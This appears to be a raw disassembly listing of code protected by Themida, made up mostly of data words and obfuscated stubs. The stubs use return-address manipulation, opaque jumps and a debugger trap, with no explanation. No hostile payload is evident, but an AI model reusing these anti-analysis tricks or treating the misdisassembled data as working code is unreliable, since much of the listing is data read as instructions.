dd 24448104h, 1A04h, 0C3504000h, 82DA6C67h, 8BD22492h
dd 0A80DE9B5h, 0B19D8906h, 5106A815h, 0BD89F08Bh, 6A80721h
dd 56C18B5Fh, 5EF88B66h, 4EBh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0A25966C3h
dd 0CC551BC3h, 42BFD5BEh, 6A02BFA6h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 9D68C350h
dd 0FE88F876h, 0E7C01150h, 3385858Dh, 6A06A8h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 1D7B48C3h, 81BD8B46h, 3106A831h, 0A80E398Dh, 8B669006h
dd 0E96050F7h, 11h, 3A125976h, 0A2DFE6B6h, 0F2378D19h
dd 317A2EA2h, 6850F5Fh, 0F000000h, 85h, 6A906100h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 0C080C352h, 0EE8102BCh, 6B887E81h, 9E9h, 0F215C800h
dd 0FC57B3C8h, 6AF5D2h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 7AC35040h, 0A6855351h, 21DE8166h, 6A006A98h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 0C521C351h, 651BD89h, 0B52306A8h, 6A8008Dh
dd 7E8h, 0BF522400h, 2595528Ah, 0A3858D5Fh, 8106ABDCh
dd 97D2B4F6h, 5C0833Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 5BC35747h, 47BE90D0h, 504EF0D2h, 79BF5790h
dd 5F209581h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 0F9F67C3h, 684h, 0B18D3100h, 6A06A833h
dd 0B1BD8900h, 0FF06A809h, 0A8254195h, 53006A06h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 0ADEB7C1Fh, 59BDAECEh, 8DF28B4Fh, 0AB8C7F9Dh, 0C5BD8B06h
dd 0FF06A81Ah, 55006AD3h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 3DAE4EDAh, 0E9194587h
dd 8, 6F6D1505h, 10F976DCh, 33F185FFh, 6A06A8h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 8B9D4DC3h, 0A81425B5h, 9D8B6006h, 6A83149h, 68B0Fh
dd 85890000h, 6A807F1h, 1880F61h, 0FC000000h, 874E9h, 0E800h
dd 815D0000h, 0ABDCADEDh, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 2165F849h
dd 660F8219h, 6008DF81h, 0AE8h, 899A9A00h, 35850079h, 0FB4A899h
dd 38Bh, 0FB8B6600h, 6DBD815Fh, 0D006A817h, 0F000007h
dd 15D86h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 7DCAE7Fh, 56BE541Ch, 8B4CFFCBh, 0A8324D9Dh
dd 5DB58B06h, 8106A82Bh, 100E3h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 5FFAC78Dh
dd 0DA344498h, 81669CBAh, 0B2F18F6h, 8B850FDBh, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 838DC356h, 0ABDA49BDh, 840F0006h, 4Eh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 48C35646h, 8DA67D2Ch
dd 0FFB9F68Eh, 4FE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 0B9F54BFEh, 2171B58Bh
dd 85C706A8h, 6ABDA49h, 1, 82F68166h, 16E918h, 85C70000h
dd 6ABDA49h, 0
; ---------------------------------------------------------------------------
and esi, 2DA7BA9h
mov [ebp+6A81F81h], esi
lea ebx, [ebp+6A8324Dh]
push 0
push ecx
call sub_58782D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58782D proc near ; CODE XREF: Themida_:00587825p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_58782D endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
cld
push ds
dec ebx
aad 4Dh
and esi, [edx+1E19BD8Bh]
test al, 6
and dword ptr [ebx], 0FFFFFEFFh
push 0
push edi
call sub_58785C
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58785C proc near ; CODE XREF: Themida_:00587854p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_58785C endp
; ---------------------------------------------------------------------------
pop eax
push ecx
mov bx, ds
push 0
push eax
call sub_58787C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58787C proc near ; CODE XREF: Themida_:00587874p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_58787C endp
; ---------------------------------------------------------------------------
xor esi, [eax-482F742Dh]
sub al, 0E2h
aas
int 3 ; Trap to Debugger
movzx edi, cx
test bl, 4
jz loc_5878F0
jmp loc_5878AD
; ---------------------------------------------------------------------------
db 5Dh
dd 0D04A32DDh
db 3Ch
; ---------------------------------------------------------------------------
loc_5878AD: ; CODE XREF: Themida_:005878A2j
call dword ptr [ebp+6A8068Dh]
xor [ebp+6A80145h], ecx
nop
pusha
js loc_5878C5
mov ax, 0E637h
loc_5878C5: ; CODE XREF: Themida_:005878BBj
jge loc_5878E1
call sub_5878E0
mov bl, 0E8h
db 36h
mov ch, 0DEh
setp byte ptr [edi+ebx*4+73h]
daa
; ---------------------------------------------------------------------------
db 8Eh
; ---------------------------------------------------------------------------
enter 0FFFFD4DFh, 0F5h
; =============== S U B R O U T I N E =======================================
sub_5878E0 proc near ; CODE XREF: Themida_:005878CBp
pop ecx
loc_5878E1: ; CODE XREF: Themida_:loc_5878C5j
popa
push eax
js $+6
nop
mov esi, [ebp+6A80521h]
loc_5878F0: ; CODE XREF: Themida_:0058789Cj
jmp loc_587CB4
; ---------------------------------------------------------------------------
db 60h, 1, 85h
dd 6A82195h, 0B559D29h, 0B06106A8h, 1EBE6600h, 6A70E6E9h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 1A1CC350h, 68D0Fh, 95290000h, 6A833A1h, 0C0DB503h
dd 71E406A8h, 0FF9BF0Fh, 0BE66D8B6h, 6BA3330h, 8B000000h
dd 0A806C9B5h, 6AC38B06h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 0E6E4C357h, 9C02C26Dh
dd 0C11BE2B0h, 0BE6604E8h, 0F766739Ch, 8BD82BE2h, 0A81401B5h
dd 0BF669306h, 0E950CA76h, 12h, 0C3D68D7Eh, 0CB777D2Fh
dd 7DB32EADh, 32AC66D3h, 0F893BA43h, 176DB5FFh, 6A06A8h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 8B7B2EC3h, 8C0F18h, 89000000h, 0A80C0DB5h, 158D8906h
dd 0FF06A806h, 0A81B3195h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 2600347h, 81A95C02h
dd 0BFFCECE7h, 6800F1Eh, 8B000000h, 0A8255DB5h, 6A00B006h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 0ABA8C355h, 8B302F40h, 0A82CD5BDh, 0A1BD8B06h
dd 0E606A809h, 6E970h, 79A50000h, 8B23F4h, 0BE6671E4h
dd 613C5D68h, 252830Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 48DF0CC3h, 88ED4D27h
dd 0FE9CFDDh, 187h, 0B60FF800h, 55006AD8h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0E679C792h
dd 26CDB58Bh, 6BA06A8h, 8B000000h, 6AC38BFEh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0FDEC350h, 6E9h, 0C91A0300h, 8B554051h, 0A81AC5BDh
dd 4E8C106h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 0B4C35040h, 662B9936h, 0D82BE2F7h, 58F7B70Fh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 73C35242h, 0C20427D9h
dd 0FD82B73h, 17388h, 198B0F00h, 0E8000000h, 0Dh, 6CAD7160h
dd 4D0EB058h, 4E830ECEh, 61BD89F5h, 5F06A82Eh, 7B9h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 0ABC20CFCh, 0C1839392h, 0DBD0300h, 3B06A815h, 1D860FD9h
dd 81000001h, 0D020EEEFh, 55B58932h, 6606A814h, 0B58BD98Ch
dd 6A801D1h, 0F04C1F6h, 0DE84h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 40F79554h
dd 37539BFBh, 0F98BFB68h, 68D95FFh, 0DE806A8h, 17000000h
dd 4E708943h, 7EBF6664h, 7E813A0Fh, 27FD8D89h, 5B5E06A8h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E2C35040h
dd 0FDD3E278h, 8B1289C5h, 0A82F55BDh, 8BC32B06h, 0A80D99B5h
dd 8343D06h, 860F0000h, 5Bh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 0E7C35545h, 0C2A84729h, 880F93AFh
dd 5, 3FDF8166h, 1BD89D3h, 0E906A803h, 44h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B2C35343h, 198529C2h
dd 8B06A808h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1404h, 0C3564600h, 0FEBF0F7Bh
; ---------------------------------------------------------------------------
loc_587CB4: ; CODE XREF: sub_5878E0:loc_5878F0j
mov eax, ebx
mov ebx, eax
push 0
push edi
call sub_587CC3
and [edi-3Dh], bl
sub_5878E0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_587CC3 proc near ; CODE XREF: sub_5878E0+3DBp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_587CC3 endp
; ---------------------------------------------------------------------------
sub bl, [edx]
or cl, [ecx-57D5B263h]
push es
mov dword ptr [ebp+6A80941h], 7FE5A9DFh
mov eax, eax
push 0
push edx
call sub_587CF3
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587CF3 proc near ; CODE XREF: Themida_:00587CEBp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_587CF3 endp
; ---------------------------------------------------------------------------
and eax, [eax+9E2DE5Eh]
mov edi, 1F7AF83h
cmp dword ptr [ebp+6A8176Dh], 7D0h
jnz loc_587D54
sbb edi, 0AAB9B57h
inc dword ptr [ebp+6A8176Dh]
push 0
push esi
call sub_587D35
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587D35 proc near ; CODE XREF: Themida_:00587D2Dp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_587D35 endp
; ---------------------------------------------------------------------------
db 51h, 0C8h, 0E9h
dd 8, 0F977EB7Eh, 7467BAE7h
; ---------------------------------------------------------------------------
loc_587D54: ; CODE XREF: Themida_:00587D18j
push dword ptr [ebp+6A8176Dh]
push 0
push esi
call sub_587D65
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587D65 proc near ; CODE XREF: Themida_:00587D5Dp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_587D65 endp
; ---------------------------------------------------------------------------
db 6Dh, 31h, 0A8h
; ---------------------------------------------------------------------------
pushf
push esi
dec ebp
cmpsb
pop ebp
mov esp, 0DE816609h
mov bl, 5Bh
call dword ptr [ebp+6A81B31h]
push 0
push edi
call sub_587D95
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587D95 proc near ; CODE XREF: Themida_:00587D8Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_587D95 endp
; ---------------------------------------------------------------------------
db 0D1h, 1Ch, 0FEh
dd 1B8BEC9Ch, 0DDB589DDh, 8106A81Dh, 6704E3D6h, 0BD33905Ch
dd 6A832ADh, 17EDBD8Bh, 8B6606A8h, 8E9F0h, 95E00000h, 820BC4EBh
dd 0B5239F99h, 6A80911h, 21959501h, 0E96006A8h, 0Bh, 0C9A0FF60h
dd 0DFE6FDFh, 8B734DA5h, 860F56C6h, 0
; ---------------------------------------------------------------------------
pop eax
popa
push 0
push ebx
call sub_587E09
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587E09 proc near ; CODE XREF: Themida_:00587E01p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_587E09 endp
; ---------------------------------------------------------------------------
sbb ebp, [esi+ebp+60h]
mov ecx, [ebp+6A806D5h]
jnp loc_587E2C
movsx esi, bx
loc_587E2C: ; CODE XREF: Themida_:00587E23j
mov bh, 9Bh
movsx edi, bx
popa
push 0
push ecx
call sub_587E3D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587E3D proc near ; CODE XREF: Themida_:00587E35p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_587E3D endp
; ---------------------------------------------------------------------------
db 35h, 81h, 0F9h
; ---------------------------------------------------------------------------
jmp loc_587E62
; ---------------------------------------------------------------------------
db 0D3h, 0E3h, 0A7h
dd 122787EFh, 8AEE0C68h
db 0BBh, 0FCh
; ---------------------------------------------------------------------------
loc_587E62: ; CODE XREF: Themida_:00587E50j
movsx esi, cx
mov di, bx
jmp loc_587E7B
; ---------------------------------------------------------------------------
dec esi
retn
; ---------------------------------------------------------------------------
db 67h
dd 3DF788E7h, 22732C56h
db 16h, 9Ch, 84h
; ---------------------------------------------------------------------------
loc_587E7B: ; CODE XREF: Themida_:00587E68j
sub [ebp+6A80E09h], eax
adc si, 6720h
jb loc_587E8F
mov di, bx
loc_587E8F: ; CODE XREF: Themida_:00587E86j
push 0
push edi
call sub_587E9A
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587E9A proc near ; CODE XREF: Themida_:00587E92p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_587E9A endp
; ---------------------------------------------------------------------------
dw 7191h
dd 0DE8738Ch, 0FF000000h, 69A9BE38h, 0DDD051F9h, 0B4C2F707h
dd 8E853h, 0B58C0000h, 0E426406Ch, 605ED9A8h, 95295F61h
dd 6A832B9h, 6870F5Eh, 81000000h, 10B201EEh, 0F7CBE92Ch
dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 3281A6C3h, 8942C0C6h, 66E10C31h, 7E9F98Bh
dd 0CB000000h, 6F0CFEEh, 6DBEFA58h, 8914CA48h, 0A81EC58Dh
dd 89C18B06h, 0A82E0D8Dh, 4EB06h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 1506C350h, 0E66F37E0h, 0F38BA1F6h, 3DB58B56h, 5F06A81Dh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 18C35747h
dd 0E0C92B55h, 1569BD8Bh, 858D06A8h, 6A83385h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0E6C35545h, 19922928h
dd 30C56DDh, 0A80C3DBDh, 0B1BD8B06h, 5006A834h, 9E9h, 1D137000h
dd 37BBA32Eh, 4897660h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 0F9B5030Ah, 752DBA95h
dd 0B58B4B1Ah, 6A80841h, 6AF78B66h, 87E6BE00h, 6A728Ah
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 46C35040h
dd 8D39EC4Ah, 0ABE70085h, 0AA40BF06h, 0C08347DAh, 4D853105h
dd 9006A80Fh, 310F5250h, 38C0Fh, 8B660000h, 50585AF2h
dd 10E990h, 81DF0000h, 0AA412929h, 0CDA16FA8h, 0C5AD80E8h
dd 6AD479h, 33D18529h, 0B58B06A8h, 6A808E5h, 0F781006Ah
dd 4A0498B7h, 254195FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 1ADD75C3h, 2ED9BD8Bh
dd 9D8D06A8h, 6AB8C7Fh, 6F99589h, 0D3FF06A8h, 12E8h, 5DD5DB00h
dd 9DD427E9h, 0C9A2FCAh, 7D21E180h, 5F40D2C9h, 64D9D89h
dd 85FF06A8h, 6A833F1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 0F7C35545h, 255CDEF0h, 0B67E54B4h, 418D8902h
dd 5606A82Eh, 6810Fh, 0BD8B0000h, 6A82CCDh, 799E95Fh, 0E80000h
dd 5D000000h, 0E70AED81h, 0B53306ABh, 6A810F1h, 176DBD81h
dd 7D006A8h, 860F0000h, 12Ah, 919BD31h, 9D8B06A8h, 6A8259Dh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DDC35545h
dd 0F5E19036h, 100E381h, 49BE0000h, 0B46EF62h, 72850FDBh
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 7AC1C352h, 8BAF80DAh, 0A832A5BDh
dd 26BD8306h, 6ABE5h, 13840Fh, 89510000h, 0A80835B5h, 42E95E06h
dd 8B000000h, 0A81AD5B5h, 2685C706h, 106ABE5h, 50000000h
dd 6890Fh, 800F0000h, 0
; ---------------------------------------------------------------------------
pop esi
mov esi, 26020685h
jmp loc_5881F5
; ---------------------------------------------------------------------------
jmp loc_5881E5
; ---------------------------------------------------------------------------
dd 36EA7E20h
db 87h
; ---------------------------------------------------------------------------
loc_5881E5: ; CODE XREF: Themida_:005881DBj
mov dword ptr [ebp+6ABE526h], 0
mov [ebp+6A80AD1h], ecx
loc_5881F5: ; CODE XREF: Themida_:005881D6j
lea ebx, [ebp+6A8259Dh]
push 0
push ecx
call sub_588206
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588206 proc near ; CODE XREF: Themida_:005881FEp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_588206 endp
; ---------------------------------------------------------------------------
dw 2978h
dd 8F0F1842h, 6, 2A9BD8Bh, 12E806A8h, 31000000h, 3664DE08h
dd 3893449h, 0EAD71302h, 4A7CF0C5h, 23815F7Ah, 0FFFFFEFFh
dd 148B0Fh, 8E80000h, 0B6000000h, 0C001864Dh, 8B2105F7h
dd 0A80E05B5h, 8C665F06h, 56006ADBh, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0BA1B9203h
dd 128E0Fh, 0DE90000h, 0B0000000h, 4B12306Eh, 5CBE75E9h
dd 0D8643805h, 0F04C3F6h, 5F84h, 95FFF800h, 6A8068Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0BC35646h, 0FCC55D59h
dd 60525090h, 0FE85A53h, 84000000h, 72D06081h, 0E138F886h
dd 0EDC6C929h, 615EBE93h, 585A310Fh, 90FB8B50h, 0FE9h
dd 1611AE00h, 1F990281h, 0EC01FA09h, 80ED75BEh, 3B7E9h
dd 8DBD0B00h, 0B006A802h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 46BDDD56h
dd 0D195316Ah, 0F06A81Fh, 58Ch, 0D7816600h, 70E685DBh
dd 5E9h, 33BCDF00h, 71E4D455h, 10E9h, 33CB7D00h, 7FBFED3Ah
dd 0CB1F4BF8h, 318F2495h, 0D8B60FDAh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 15h, 0CC35747h, 6BA95h, 0B58B0000h
dd 6A8250Dh, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 6408CC3h, 0C1FAB70Fh, 0B58B04E8h
dd 6A81DB9h, 6AE2F766h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 2B8FC350h, 57006AD8h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 89B9A8C4h, 0A808E98Dh, 66509306h, 9331F1BFh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F6C35242h, 0D509E067h
dd 0CE9h, 19812F00h, 0D4437422h, 0EAA99109h, 6DB5FF27h
dd 6A06A817h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 1327C353h, 728CBA6Ah, 0FFACF80Ah
dd 0A81B3195h, 0CDBD8B06h, 0B006A815h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 0F508EE3Ah, 6DB58B58h, 0F06A82Fh, 8BFF0B7h, 0E6453582h
dd 0D9BD8B70h, 0E406A82Dh, 7E871h, 518B0000h, 0A1E5D192h
dd 8DB58B6Bh, 5E06A81Fh, 830F613Ch, 1FCh, 0D810Fh, 8E90000h
dd 0A9000000h, 0FE583A14h, 0F0CDEA0h, 0BE66D8B6h, 6BAA01Dh
dd 8B000000h, 0A81519BDh, 6AC38B06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0E86AC355h
dd 8D5C4687h, 0BF0F2CDCh, 4E8C1FEh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 0B2C35545h, 3083D80Ch, 0DC147BD1h
dd 0FA8B6625h, 31E2F766h, 0A82C719Dh, 0BFD82B06h, 7B1A9175h
dd 0D9816058h, 0C2E8179h, 11E8h, 8D384400h, 8720FFE0h
dd 83B6114Eh, 7A775676h, 0AE970B0h, 5C000000h, 9E000C1Ah
dd 474CD75h, 2B615F39h, 3D880FD8h, 6A000001h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 409CC352h, 0E6040BF6h, 0C5BD890Dh, 0B906A82Eh, 7, 0AE9h
dd 0B2802700h, 56432EFDh, 8328EE1Ah, 6A00C1h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0A68A7BC3h
dd 37C6819Ch, 661C3BA7h, 3BA362BEh, 0CD860FD9h, 8B000000h
dd 0A81F51BDh, 0D98C6606h, 0D628BF66h, 4FA6BE66h, 0F04C1F6h
dd 8684h, 0BD8B6000h, 6A829BDh, 8D95FF61h, 8B06A806h, 0A82AF9B5h
dd 0BD8B5B06h, 6A80F31h, 94BEC32Bh, 3D57ECC3h, 834h, 59860Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 0F5ECC6C3h, 0BF2F5534h, 1A75BD89h, 0B53306A8h
dd 6A82CA9h, 53E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 1EB4D78Dh, 2FB09F33h
dd 8BFEBF0Fh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1904h, 0C3524200h, 0EC230749h, 8F0FA640h, 3, 0FCF88B66h
dd 0D88BC38Bh, 0E8F28B66h, 14h, 68F1539Dh, 0BC7C42E5h
dd 0AE9F63Eh, 16FD2A8Dh, 8DCA4B85h, 0F65BD89h, 0C75E06A8h
dd 0A8324D85h, 0E19F7D06h, 57006A72h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 4181C7AAh
dd 29B95A52h, 0A80779B5h, 0F28B6606h, 15BEC08Bh, 6659639Ah
dd 0BD81F88Bh, 6A8176Dh, 7D0h, 3F850Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 0CB823DC3h, 0CBF50D4Eh, 0AE9F9ABh, 4B000000h, 0EBFBF09Ah
dd 8AA81F72h, 6D85FF55h, 8B06A817h, 0A80FD1BDh, 6DB5FF06h
dd 6606A817h, 95FFF08Bh, 6A81B31h, 40D359BFh, 6A9065h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 0DE068EC3h, 42CBE61Ah, 57006AF2h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0E67B9B63h
dd 0BD8B238Ah, 6A82991h, 0B25B58Bh, 6A06A8h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 0B589A0C3h
dd 6A828C9h, 0B117F681h, 6A1238h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 4349AFC3h, 2E61BD8Bh
dd 0BD3306A8h, 6A8055Dh, 39800Fh, 0AE90000h, 28000000h
dd 7249CC4Eh, 24910A25h, 8F0F604Bh, 0
; ---------------------------------------------------------------------------
sub [ebp+6A8091Dh], edx
jmp loc_588862
; ---------------------------------------------------------------------------
db 0A1h
dd 663CC5EEh, 0E55A3607h, 9500E97Ch, 747E228Bh
db 0FFh, 14h
; ---------------------------------------------------------------------------
loc_588862: ; CODE XREF: Themida_:0058884Aj
mov si, 0D7D2h
popa
mov [ebp+6A810DDh], ecx
push 0
push ebx
call sub_588878
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588878 proc near ; CODE XREF: Themida_:00588870p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_588878 endp
; ---------------------------------------------------------------------------
dd 0F28B66E3h, 0FFF881E9h, 4EBF66FFh, 0DE815174h, 0E40A913h
dd 9D952960h, 3106A832h, 0A80515B5h, 8B5F6106h, 57006AC1h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 0EF815E5Ch, 445E5A5Fh, 4EBh, 0BD890000h, 6A82BD5h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 74C35343h, 25605CABh
dd 0CE9h, 0C4C50600h, 0F4F167BDh, 236D813Bh, 79B58912h
dd 8D06A807h, 0A8338585h, 0C5853106h, 5006A814h, 7576B6BFh
dd 2404892Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 7AC35242h, 6A3FF7h, 6860Fh, 0DF810000h, 7315251Fh
dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 0C2433AC3h, 0F1EE8108h, 8D615211h, 0ABF06E85h
dd 10E906h, 0DE130000h, 0EDDCDC9Dh, 0B45F0641h, 0CC391406h
dd 0C083A922h, 0E1D68105h, 906985C2h, 6800F57h, 0F000000h
dd 8Ch, 0E9505E00h, 0Fh, 0ACDF109Dh, 40E29F95h, 81EEE5FCh
dd 90F468AAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 0F8C35141h, 0D2376DADh, 285E826Eh, 6AF571h, 2D79B58Bh
dd 6A06A8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 9CC35646h, 0B58BD7CCh, 6A80D99h, 254195FFh, 850F06A8h
dd 15h, 10E9h, 0CC32D700h, 0FD56CC8Dh, 29FCE46Ah, 0E8F5BDEh
dd 7F9D8DB2h, 6A06AB8Ch, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 0FA49C353h, 8B811541h
dd 29D3FFF3h, 0A82A8595h, 0D9B58906h, 0FF06A829h, 0A833F185h
dd 0D18D8906h, 0E906A800h, 860h, 0E8h, 0ED815D00h, 6ABF078h
dd 7E9h, 65456B00h, 0C9D8A2ECh, 176DBD81h, 7D006A8h, 860F0000h
dd 13Ch, 60F1BF0Fh, 1AE5B529h, 61F906A8h, 1ED9D8Bh, 6A06A8h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 80364DC3h, 4725C1EBh, 0E381F9h, 0F8000001h, 0A4CF8166h
dd 0FDB0B74h, 6085h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 2D97AB2Dh, 99B58B90h
dd 0F506A828h, 0EEC5BD83h, 0F0006ABh, 0B84h, 4FE900h, 0C6810000h
dd 6122DBEAh, 0EEC585C7h, 106ABh, 870F0000h, 6, 1D7D8D29h
dd 2EE906A8h, 8B000000h, 0A800A5BDh, 0C585C706h, 6ABEEh
